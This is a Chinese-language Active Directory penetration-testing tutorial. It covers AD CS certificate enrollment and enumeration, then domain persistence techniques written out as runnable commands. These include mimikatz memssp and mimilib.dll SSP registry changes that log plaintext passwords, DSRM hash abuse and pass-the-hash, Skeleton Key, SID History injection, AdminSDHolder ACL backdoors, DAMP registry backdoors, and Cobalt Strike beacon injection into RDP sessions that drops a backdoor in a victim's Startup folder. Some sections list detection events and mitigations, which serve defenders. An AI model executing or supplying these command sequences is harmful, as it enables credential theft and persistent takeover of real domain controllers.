CA证书管理员批准导致证书模板在AD对象的msPKI-EnrollmentFlag属性上设置CT_FLAG_PEND_ALL_REQUESTS(0x2)位。这将基于该模板的所有证书请求置于挂起状态(在certsrv.msc的“挂起请求”部分可见),这需要证书管理员在颁发证书之前批准或拒绝该请求。

tuwgsjlvuij11976.png

登记代理、授权签名和应用策略

授权签名的数量以及应用策略。前者控制着CA接受CSR所需的签名数量。后者定义了CSR签名证书必须具备的EKU OID。

这些设置的常见用途是用于登记代理。登记代理是AD CS术语,指可以代表其他用户请求证书的实体。为此,CA必须向登记代理帐户颁发包含至少证书请求代理EKU(OID 1.3.6.1.4.1.311.20.2.1)的证书。一旦颁发,登记代理就可以代表其他用户签署CSR并请求证书。只有在以下非全面条件的情况下,CA才会将登记代理作为另一个用户发出的证书(主要在默认策略模块certpdef.dll中实现):

  • Windows用户对目标证书模板具有登记权限。
  • 如果证书模板的架构版本为1,CA将要求签名证书在颁发证书之前具备证书请求代理OID。证书模板的架构版本是指其AD对象的msPKI-Template-Schema-Version属性中指定的版本。
  • 如果证书模板的架构版本为2:
  • 该模板必须设置“这个授权签名的数量”设置,并且指定数量的登记代理必须签署CSR(模板的mspkira-signature AD属性定义了此设置)。换句话说,此设置指定在CA考虑颁发证书之前,需要多少个登记代理对CSR进行签名。
  • 该模板的“应用策略”颁发限制必须设置为“证书请求代理”。

请求证书

  1. 使用Windows客户端证书登记协议(MS-WCCE),这是一组与各种AD CS功能(包括登记)交互的分布式组件对象模型(DCOM)接口。默认情况下,所有AD CS服务器都启用了DCOM服务器,并且我们经常看到客户端通过此方法请求证书。
  2. 通过ICertPassage远程协议(MS-ICPR),可以使用命名管道或TCP/IP进行远程过程调用(RPC)通信。
  3. 访问证书登记Web界面。要使用此功能,ADCS服务器需要安装证书颁发机构Web登记角色。启用后,用户可以访问运行在http:///certsrv/的托管在IIS上的ASP Web登记应用程序。 certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug
  4. 与证书登记服务(CES)进行交互。要使用此功能,服务器需要安装证书登记Web服务角色。启用后,用户可以通过https:///_CES_Kerberos/service.svc访问Web服务以请求证书。此服务与证书登记策略(CEP)服务配合使用(通过证书登记策略Web服务角色安装),客户端可以使用该服务在URL https:///ADPolicyProvider\_CEP\_Kerberos/service.svc 列出证书模板。在内部,证书登记和策略Web服务分别实现了MS-WSTEP和MS-XCEP(两种基于SOAP的协议)。
  5. 使用网络设备登记服务。要使用此功能,服务器需要安装网络设备登记服务角色,该服务允许客户端(即网络设备)通过简单证书登记协议(SCEP)获取证书。启用后,管理员可以从URL http:///CertSrv/mscep\_admin/获取一次性密码(OTP)。然后,管理员可以将OTP提供给网络设备,设备将使用SCEP通过URL http://NDESSERVER/CertSrv/mscep/请求证书。
  6. 在Windows机器上,用户可以使用GUI请求证书,方法是启动certmgr.msc(用于用户证书)或certlm.msc(用于计算机证书),展开个人证书存储→右键点击"Certificates"→所有任务→请求新证书。
  7. 也可以使用内置的certreq.exe命令或PowerShell的Get-Certificate命令进行证书登记。

证书认证

AD(Active Directory)默认支持两种协议的证书认证:Kerberos和Secure Channel(Schannel)。

Kerberos 身份验证和 NTAuthCertificates 容器

总而言之,用户将使用其证书的私钥对TGT请求的认证器进行签名,并将此请求提交给域控制器。域控制器执行多个验证步骤,如果一切顺利,则发放一个TGT。

更详细地说: KDC(密钥分发中心)会验证用户的证书(时间、路径和吊销状态),以确保证书来自可信任的源。KDC使用CryptoAPI从用户的证书到位于域控制器上的根证书颁发机构(CA)证书之间建立一个认证路径。然后,KDC使用CryptoAPI验证预身份验证数据字段中包含的已签名认证器上的数字签名。域控制器验证签名,并使用用户证书上的公钥来证明该请求源自与该公钥对应的私钥的所有者。KDC还验证发行者是否受信任,并且是否出现在NTAUTH证书存储库中。

这里提到的“NTAUTH证书存储库”是指AD CS在以下位置安装的一个AD对象:

CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

通过将CA证书发布到企业级NTAuth存储库,管理员表示信任该CA可以发布这些类型的证书。Windows CA会自动将其CA证书发布到此存储库。

这意味着当AD CS创建新的CA(或更新CA证书)时,它会通过将新证书添加到对象的cacertificate属性中,将新证书发布到NTAuthCertificates对象中。

akddekrbcgy11983.png

在证书认证期间,DC可以验证认证证书链到由NTAuthCertificates对象定义的CA证书。NTAuthCertificates对象中的CA证书必须再次链接到根CA。这里的重要信息是,NTAuthCertificates对象是Active Directory中证书认证的信任根!

安全通道 (Schannel) 身份验证

Schannel是Windows在建立TLS/SSL连接时使用的安全支持提供程序(SSP)。Schannel支持客户端身份验证(以及许多其他功能),使远程服务器能够验证连接用户的身份。它通过PKI实现这一点,其中证书是主要凭据。

在TLS握手期间,服务器请求客户端提供用于身份验证的证书。客户端之前从服务器信任的CA获得了客户端身份验证证书,将其证书发送到服务器。然后服务器验证证书是否正确,并在一切正常的情况下授予用户访问权限。

b5unzvxriop11996.png

当一个帐户使用证书对AD进行身份验证时,DC需要以某种方式将证书凭据映射到一个AD帐户。Schannel首先尝试使用Kerberos的S4U2Self功能将凭据映射到用户帐户。

如果不成功,它将尝试使用证书的SAN扩展、主题和颁发者字段的组合,或者仅根据颁发者将证书映射到用户帐户。默认情况下,在AD环境中,不支持使用Schannel直接进行AD身份验证的协议并不多。WinRM、RDP和IIS都支持使用Schannel进行客户端身份验证,但需要额外的配置,并且在某些情况下(例如WinRM),无法与Active Directory集成。

一个通常有效的协议(假设已经设置了AD CS)是LDAPS。命令Get-LdapCurrentUser演示了如何使用.NET库对LDAP进行身份验证。该命令执行一个LDAP的“Who am I?”扩展操作来显示当前正在进行身份验证的用户。

ahffqhnjhhp12004.png

AD CS 枚举

就像对于AD的大部分内容一样,通过查询LDAP作为域身份验证但没有特权的用户,可以获取到前面提到的所有信息。

如果我们想枚举企业CA及其设置,可以在CN=Configuration,DC=<domain>,DC=<com>搜索基础上使用(objectCategory=pKIEnrollmentService) LDAP筛选器进行LDAP查询(此搜索基础对应于AD林的配置命名上下文)。结果将标识出CA服务器的DNS主机名、CA名称本身、证书的开始和结束日期、各种标志、已发布的证书模板等。

AD CS 枚举工具

Certify是一个使用C#编写的工具,可以枚举有关AD CS环境的有用配置和基础结构信息,并可以以多种不同的方式请求证书。https://github.com/GhostPack/Certify

Certipy是一个Python工具,可以从任何能够生成BloodHound输出的系统(具有对DC的访问权限)中枚举和滥用Active Directory证书服务(AD CS)。https://github.com/ly4k/Certipy

# https://github.com/GhostPack/Certify

Certify.exe cas #枚举受信任的根CA证书、NTAuthCertificates对象定义的证书以及有关企业CA的各种信息

Certify.exe find #枚举证书模板

Certify.exe find /vulnerable #枚举可修复证书模板

# https://github.com/ly4k/Certipy

certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128

certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 #搜索易受攻击的模板

certutil.exe -TCAInfo #枚举企业CA

certutil -v -dstemplate #枚举证书模板

w30ujym5oo512010.png

bellsgwz55u12018.png

axmep0pgk3a12022.png

Custom SSP

https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs#security-support-provider-interface-sspi

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/custom-ssp

https://blog.csdn.net/weixin_42282189/article/details/120103661

https://blog.csdn.net/qq_41617902/article/details/128742631

SSP即Security Support Provider(安全支持提供者)是一个用于实现身份验证的DLL文件,主要用于Windows操作系统的身份认证功能。

当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。

当我们在域环境内对LSA进行拓展自定义DLL文件时,就能够获取到lsass.exe进程中的明文密码,即使修改密码重新登陆,我们依旧可以获得密码,达到域权限维持的效果。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

SSPI负责找到两台想要通信的计算机所需的适当协议。首选方法是Kerberos。然后SSPI将协商使用哪种认证协议,这些认证协议被称为安全支持提供程序(Security Support Provider,SSP),以DLL的形式存在于每台Windows计算机中,双方计算机必须支持相同的SSP才能进行通信。

Kerberos :首选

  • %windir%\Windows\System32\kerberos.dll

NTLMv1和NTLMv2 :兼容性原因

  • %windir%\Windows\System32\msv1_0.dll

摘要:Web 服务器和 LDAP,MD5 哈希形式的密码

  • %windir%\Windows\System32\Wdigest.dll

Schannel :SSL 和 TLS

  • %windir%\Windows\System32\Schannel.dll

Negotiate :用于协商要使用的协议(Kerberos 或 NTLM 是 Kerberos 的默认协议)

  • %windir%\Windows\System32\lsasrv.dll

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作,获取目标lsass.exe进程中的明文密码。

攻击方式
注入LSASS进程

通过往lsass进程注入代码来加载msv1_0.dll中的SpAcceptCredentials函数,该攻击不会在系统中留下二进制文件。但如果机器重启,被注入的代码就会失效。该攻击会在系统登录过程中将获取的明文密码存储在日志文件中。(需要注销,但是不能重启)

C:\Windows\System32\mimilsa.log

mimikatz.exe "privilege::debug" "misc::memssp" exit

//注意,很有可能会导致目标主机直接死机重启,例如Windows server 2016

lyda3et5eml12026.png

然后注销账户重新登录,在C:\Windows\System32 查看是否有mimilsa.log文件。

4nrg1odrjq012029.png

使用工具PCHunter查看lsass进程。

qaj2ojy4dps12036.png

修改注册表扩展功能

将mimikatz中的 mimilib.dll 传到目标域控的C:\windows\system32\目录下,使用dll的位数与目标操作系统保持一致。该dll有个SpLsaModeInitialize导出函数,lsass会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据,以便SSP缓存,mimikatz利用AddSecurityPackage这个API来加载SSP,这样可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中。(需要重启,并且重启之后仍有效)

默认情况下,HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages该注册表项默认值为“”。

nk1mtcdpmoy12043.png

将mimilib.dll复制到域控C:\windows\system32(放入该路径下是为了直接加载,而不用指定dll文件的路径)。

ooyojm1nydj12051.png

在注册表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages下添加mimilib.dll之后只要触发了身份认证就会记录登录密码。

修改注册表,在键值Security Packages下添加 mimilib.dll,系统重启后会记录登陆密码。i5rtara0pv012058.png

//查看注册表Security Packages的值。

reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages"

//添加注册表Security Packages的值,只添加mimilib.dll也可以,每一个字符串使用 \0 进行分隔。

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ

fdhbx4p3tc012064.png

44mqob4qbxx12070.png

域控重启之后,在C:\Windows\System32路径下存在一个新的日志文件,Kiwissp.log,其中保存着明文密码。

nsdjmqar0a112075.png

痕迹特征

Windows Event 4622[需开启收集日志才会有]。
文件创建:mimilsa.log、kiwissp.log。
注册表修改:HKLM\System\CurrentControlSet\Control\Lsa\Security Packages。

eu4jbjidcpc12078.png

mimilib.dll文件也存在特征。

bnmgjbtjccw12082.png

DSRM凭据

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

bf2thicmqhd12085.png

在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

当我们已经拿下域控,使用DSRM凭据进行权限维持。DSRM就是域控机器的本地administrator账户。(域控机器的本地administrator账户是不能通过net user administrator password命令进行密码修改的,正常情况也是无法进行登录)

使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

privilege::debug

token::elevate

lsadump::sam

azq4d2f0seb12087.png

修改DSRM的登录方式

DSRM有三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

1xw0rwistkp12092.png

51aa0ul2z0012096.png

privilege::Debug

sekurlsa::pth /domain:AD-1-2016 /user:administrator /ntlm:1a44db2e8b368a053202da00bc30cdba

hl3oal3dek312101.png

或者我们可以直接将DSRM账户的HASH修改成我们已经获取到明文的HASH值,这样就可以进行明文登录。

adminw 0ec4b410903c6dc7594464f27d347497 //User!@#45

将DSRM账号和adminw的NTLM Hash同步(为DSRM设置新密码),使用工具NTDSUTIL。

ntdsutil //打开ntdsutil

set DSRM password //修改DSRM的密码

sync from domain account adminw //使DSRM的密码和指定域用户的密码同步

q //退出DSRM密码设置模式

q //退出ntdsutil

r2wlkck5zny12105.png

发现已经成功修改HASH

ghlzgs1quwa12110.png

修改后可以直接在域控机器登录本地administrator账户。

dxdlgnhbmz012117.png

该账户权限与域控机器账户权限类似,可以直接使用DCSync功能导出域内HASH。

防御方法
  1. 定期检查注册表中用于控制DSRM登录方式的键值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该值为1,或者删除该键值。
  2. 定期修改域中所有域控制器的DSRM账号。
  3. 经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

万能密码

Skeleton Key 是一种专门针对 Active Directory 域的恶意软件,它使得劫持任何账户变得异常容易。该恶意软件将自身注入到 LSASS 进程中,并创建了一个适用于域中任意账户的主密码。现有的密码仍然有效,因此很难察觉到这种攻击的发生。

攻击要求

  1. 为了进行这种攻击,攻击者必须具有域管理员权限(使用DSRM中的域控本地Administrator账户也可以)。
  2. 为了完全控制,这种攻击必须在每个域控制器上执行,但即使只针对单个域控制器进行攻击也可能有效(需要在域内所有域控上执行)。
  3. 重新启动域控制器将会移除该恶意软件,并且攻击者需要重新部署它(域控重启后则无效)。

使用mimikatz在域控上执行即可,之后可以使用默认密码mimikatz作为任何用户进行认证。

privilege::debug

misc::skeleton

0nursphtgjz12121.png

这时我们在成员机进行连接。

v4t0jvxd1s012126.png

注意:如果您看到“系统错误 86 已发生。指定的网络密码不正确”消息,请尝试使用域名\账户格式作为用户名,这样应该就可以正常工作了。

如果 lsass 已经打了skeletal 补丁,那么会出现这个错误:

rkfjv4qxzgn12131.png

痕迹事件:

  • 系统事件 ID 7045 - 系统中安装了一个服务。(内核模式驱动程序类型)
  • 安全事件 ID 4673 - 敏感权限使用(必须启用“审核特权使用”)
  • 事件 ID 4611 - 一个受信任的登录过程已经在本地安全性机构注册(必须启用“审核特权使用”)

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "Kernel Mode Driver"}

这只能检测到mimidrv

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$.message -like "Kernel Mode Driver" -and $.message -like "mimidrv"}

缓解措施:

将 lsass.exe 作为受保护的进程运行,这将强制攻击者加载一个内核模式驱动程序。

New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose

重新启动后验证:

Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "protected process"}

SID History

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。在Windows操作系统中,系统使用安全标识符来唯一标识系统中执行各种动作的实体,每个用户有SID,计算机、用户组和服务同样也有SID,并且这些SID互不相同,这样才能保证所标识实体的唯一性。

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限(或者是修改用户SIDHistory属性的权限),则可以将SID History作为实现持久化的方法。

privilege::debug

//https://blog.csdn.net/HBohan/article/details/119805869

sid::patch

//将administrator的SID添加到man06的SID History属性中,或者直接后接SID

sid::add /sam:man06 /new:administrator

注意:使用sid::patch需要有两个要求:

  1. 对域控LDAP修改过程中的验证函数进行patch,需要在域控上执行
  2. patch共分为两个步骤,如果仅第一步patch成功的话,那么可以使用sid::add功能,两步都patch成功的话才可以使用sid::modify功能。
  3. 详细可以查看https://blog.csdn.net/HBohan/article/details/119805869。

在一些情况下,只要具有修改SID History属性的权限,并不需要sid::patch就可以直接更改用户的SID History属性。

privilege::debug

//或者/new:<Administrator SID>

sid::add /sam:man06 /new:administrator

这里我们直接登录成员机的本地管理员用户

50j0eqcnz0u12134.png

使用PTH获得域管理员权限。

sekurlsa::pth /user:adminw /domain:ww1.com /ntlm:0ec4b410903c6dc7594464f27d347497

olrcpnd0tl512139.png

由于不是域控,发现sid::patch命令运行报错。

ex4zxncdk1u12147.png

这里我们获取到域控的SID,直接修改man06的SID History属性。

sid::add /sam:man06 /new:S-1-5-21-2672614020-1166804175-548711290-500

发现成功添加。

rrc1bie2c1q12156.png

Import-Module activedirectory

Get-ADUser man06 -Properties sidhistory //使用powershell查看man06的属性

qymd4u2a4ks12161.png

登录man06账户查看是否具有权限。

wletbertywe12176.png

发现成功提权,可以用于权限维持或者隐藏。

跨域安全

https://zhuanlan.zhihu.com/p/424472286

https://blog.csdn.net/hx_chong/article/details/119809022

RDP Sessions Abuse

如果外部组对当前域中的任何计算机具有RDP访问权限,攻击者可以入侵该计算机并等待用户。 一旦该用户通过RDP访问,攻击者就可以转移到该用户的会话,并滥用其在外部域中的权限。

//假设组“外部用户”在当前域中具有RDP访问权限

//让我们找出他们可以访问的位置

//最简单的方法是使用BloodHound,但你也可以运行:

Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName

//或者

Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

//然后,入侵列出的机器,并等待外部域的某个人登录:

net logons

Logged on users at \\localhost:

EXT\super.admin

//通过Cobalt Strike,你可以在RDP进程中注入一个信标(beacon)。

beacon> ps

PID PPID Name Arch Session User

--- ---- ---- ---- ------- -----

...

4960 1012 rdpclip.exe x64 3 EXT\super.admin

beacon> inject 4960 x64 tcp-local

//通过那个信标,你可以直接运行 Powerview 模块,并以该用户的身份与外部域进行交互。

如果用户通过RDP登录到一台被攻击者等待的计算机上,攻击者将能够在用户的RDP会话中注入一个信标(beacon),如果受害者在通过RDP访问时挂载了他的驱动器,攻击者就可以访问它。

在这种情况下,你可以通过在启动文件夹中写入后门来入侵受害者的原始计算机。

# Wait til someone logs in:

net logons

Logged on users at \\localhost:

EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process

beacon> ps

PID PPID Name Arch Session User

--- ---- ---- ---- ------- -----

...

4960 1012 rdpclip.exe x64 3 EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.

## \\tsclient\c is the C: drive on the origin machine of the RDP session

beacon> ls \\tsclient\c

Size Type Last Modified Name

---- ---- ------------- ----

dir 02/10/2021 04:11:30 $Recycle.Bin

dir 02/10/2021 03:23:44 Boot

dir 02/20/2021 10:15:23 Config.Msi

dir 10/18/2016 01:59:39 Documents and Settings

[...]

# Upload backdoor to startup folder

beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

beacon> upload C:\Payloads\pivot.exe

还有很多与RDP相关的利用,可以参考:

https://www.freebuf.com/articles/network/276242.html

还可以进行RDP劫持:

https://blog.csdn.net/qq_32731075/article/details/119011394

安全描述符

安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。 安全描述符可以包含以下安全信息:

  • 对象的 所有者和主组的安全标识符 (SID) 。
  • 一个 DACL ,指定允许或拒绝的特定用户或组的访问权限。
  • 一个 SACL,指定为对象生成审核记录的访问尝试的类型。
  • 一组控制位,用于限定安全描述符或其单个成员的含义。

应用程序不得直接操作安全描述符的内容。 Windows API 提供用于在对象的安全描述符中设置和检索安全信息的函数。 此外,还有用于为新对象创建和初始化安全描述符的函数。

安全描述符定义语言(SDDL)定义了描述安全描述符的格式。SDDL使用ACE字符串来表示DACL和SACL的:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;

安全描述符用于存储对象对另一个对象的权限。如果你可以对一个对象的安全描述符进行微小的更改,你可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。 因此,这种持久性技术基于能够获得对某些对象所需的每个权限的能力,以便能够执行通常需要管理员权限但无需管理员身份的任务。

WMI 权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行 WMI 的权限:

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove

WinRM权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行WinRM 的权限:

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove

转储哈希权限

使用工具DAMP访问注册表并转储哈希(hash),创建一个注册表后门,这样你可以随时检索计算机的哈希,SAM和计算机中缓存的任何AD凭据。因此,将这个权限赋予普通用户对于域控制器计算机非常有用:

https://github.com/HarmJ0y/DAMP

//允许远程检索系统的计算机和本地帐户哈希,以及其域中缓存的凭据。

Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地机器帐户哈希。

Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地SAM帐户哈希。

Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的域缓存凭据。

Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose

特权组

已知具有管理权限的组

  • Administrators
  • Domain Admins
  • Enterprise Admins

在安全评估中,还可以通过链接多个攻击向量来利用其他帐户成员资格和访问令牌权限。

Account Operators

账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器,但是,不能更改属于 Administrators 或 Domain Admins 组的账户,也不能修改这些组。在默认情况下,该组中没有成员。

  • 允许在域上创建非管理员帐户和组
  • 允许本地登录DC

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-NetGroupMember -Identity "Account Operators" -Recurse

ldkdcnjvuz012180.png

直接查看该用户信息

net user man06 /domain

topyey2blre12184.png

允许在域上创建非管理员帐户和组

wnscsqvjvn512187.png

允许本地登录DC

ha1s5guytup12191.png

AdminSDHolder group

AdminSDHolder对象的访问控制列表(ACL)用作将权限复制到Active Directory中的所有“受保护组”及其成员的模板。受保护组包括特权组,如域管理员、管理员、企业管理员和架构管理员。

默认情况下,此组的ACL被复制到所有“受保护组”中。这样做是为了避免对这些关键组进行有意或意外的更改。然而,如果攻击者修改了AdminSDHolder组的ACL,例如给定一个普通用户完全权限,该用户将在受保护组内的所有组上具有完全权限(在60分钟后)。

AdminSDHolder对象的目的是为域内受保护的用户和组提供权限的“模板”,其在LDAP上的路径为:

CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>

AdminSDHolder由Domain Admins组拥有,默认情况下,EA可以对任何域的AdminSDHolder对象进行更改,域的Domain Admins和Administrators组也可以进行更改。

尽管AdminSDHolder的默认所有者是域的Domain Admins组,但是Administrators或Enterprise Admins的成员可以获取该对象的所有权。

SDProp

SDProp是一个进程,该进程每60分钟(默认情况下)在包含域的PDC模拟器(PDCE)的域控制器上运行

SDProp将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配,则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,这也是为什么修改了用户对AdminSDHolder组的ACL后,还需要等待60分钟的原因。

利用

既然默认每60分钟SDProp会将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,那么我们完全可以对AdminSDHolder添加ACL来留后门。

  1. 添加ACL

**使用****PowerView工具**

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=ww1,DC=com' -PrincipalIdentity man08 -Rights All

qhruuglpuqq12196.png

使用Admod工具

Admod.exe -b "CN=AdminSDHolder,CN=System,DC=ww1,DC=com" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;ww1\man08)}"

ipipb2nda1f12200.png

修改了AdminSDHolder组的ACL之后,我们发现man08用户还是不具备高权限的。

vj41rh3q5tb12203.png

因为SDProp还没有将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较并修改。这里我们可以选择等待60分钟,或者直接修改执行间隔或者直接执行进行权限提升操作。

  1. 快速的执行SDProp

修改默认时间

如果需要修改60min的执行时间间隔,只需要在注册表中添加或修改AdminSDProtectFrequency的值。

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

该值的范围是从60到7200,单位为秒,键类型为DWORD。

可以直接使用命令行更改:

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

如果需要恢复为默认的60min,则可以在注册表中删除AdminSDProtectFrequency这一项。

也可以使用一个PowerShell脚本。

https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

手动执行

启动Ldp.exe,然后选择菜单栏中“连接”-> “连接”。

cvtmwpbpjfw12207.png

选择菜单栏菜单栏中“连接”->”绑定“。

d1d2x33gg0d12213.png

选择菜单栏菜单栏中“浏览”->“修改”。

xbyclct0vcm12220.png

在修改窗口这里针对不同版本的域控制器有不同的情况:

  • 域控为Windows Server 2008: 将“DN”字段留空。在“编辑条目属性”字段中,输入FixUpInheritance,在“值”字段中,输入Yes。单击输入填充条目列表。
  • 域控为Windows Server 2008 R2或Windows Server 2012之后的版本: 将“DN”字段留空。在“编辑条目属性”字段中,输入RunProtectAdminGroupsTask,在“值”字段中,输入1。单击输入填充条目列表。

点击“输入”->”运行“。

cfermv55hk012227.png

运行成功后,发现已经拥有了高权限。

qry0iistm4a12234.png

  1. 防御与检测

该攻击手法的核心点在于需要修改AdminSDHolder的ACL,因此我们只需要检测对AdminSDHolder的ACL的修改行为即可,可以通过5136日志来监控。

b3m1cmomzw012241.png

AD Recycle Bin

//这不是powerview命令,而是Microsoft的AD管理powershell模块中的一项功能,您需要在AD的“AD回收站”组中才能列出已删除的AD对象

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

44cv120bw0z12246.png

在Windows 2008或Windows 2003中,你必须用备份恢复的方法才能恢复一个被误删的AD对象。这个方法非常麻烦。现在,Windows 2008 R2引入一个新的功能:AD Recycle Bin。就如同普通的回收站一样,这个工具暂时保留了被删除对象,你可以随时从回收站中取回。

需要注意的几点注意事项:

  1. 这是Windows 2008 R2才有的新功能。
  2. 这个功能默认是关闭的;必须手动启动。
  3. 启用AD回收站的这个操作不可逆转(irrersible),也就是说,Enable之后不能Disable。只能通过Restore AD环境来恢复。
  4. 要启用,AD必须升级到2008 R2 level (升级AD level必须在企业管理员权限下用adprep命令)。
  5. 启用时,所有启用前被删除的AD对象都会被转换成recyled对象,在deleted objects容器中将不能找到它们。要恢复这些对象,唯一的方法就是通过AD备份的恢复,将AD环境恢复到启用之前。
  6. 启用后,删除的AD对象变成了一个Deleted对象,Delete对象可以恢复。一段时间后,Delete对象的生命周期结束,就会转变成Recycled对象,这些对象不再能被恢复。最终通过Garbage收集的方法被删除掉。

dqotwabegce12251.png

启用AD Recycle Bin的方法,参见文档

http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

恢复AD对象,可以用Powershell命令。

这里推荐一个免费的小工具,它提供了一个很简单易用的GUI

ADRecycleBin.exe

http://www.overall.ca/index.php?option=com_docman&task=doc_download&gid=68&Itemid=11

参考连接:

What's New in AD DS: Active Directory Recycle Bin

http://technet.microsoft.com/en-us/library/dd391916(WS.10).aspx

Active Directory Recycle Bin Step-by-Step Guide

http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx

Server Operators

Server Operators是域控的本地组,其组员拥有管理域控制器的权利,例如在域控制器上登录域;建立、管理、删除域控制器上的共享文件夹与共享打印机;备份与还原文件;锁定与解开域控制器;将域控制器上的硬盘格式化;更改系统的时间;将域控制器关闭等。

此成员资格允许用户使用以下权限配置域控制器:

  • 允许本地登录
  • 备份文件和目录
  • 更改系统时间
  • 更改时区
  • 从远程系统强制关闭
  • 恢复文件和目录
  • 关闭系统
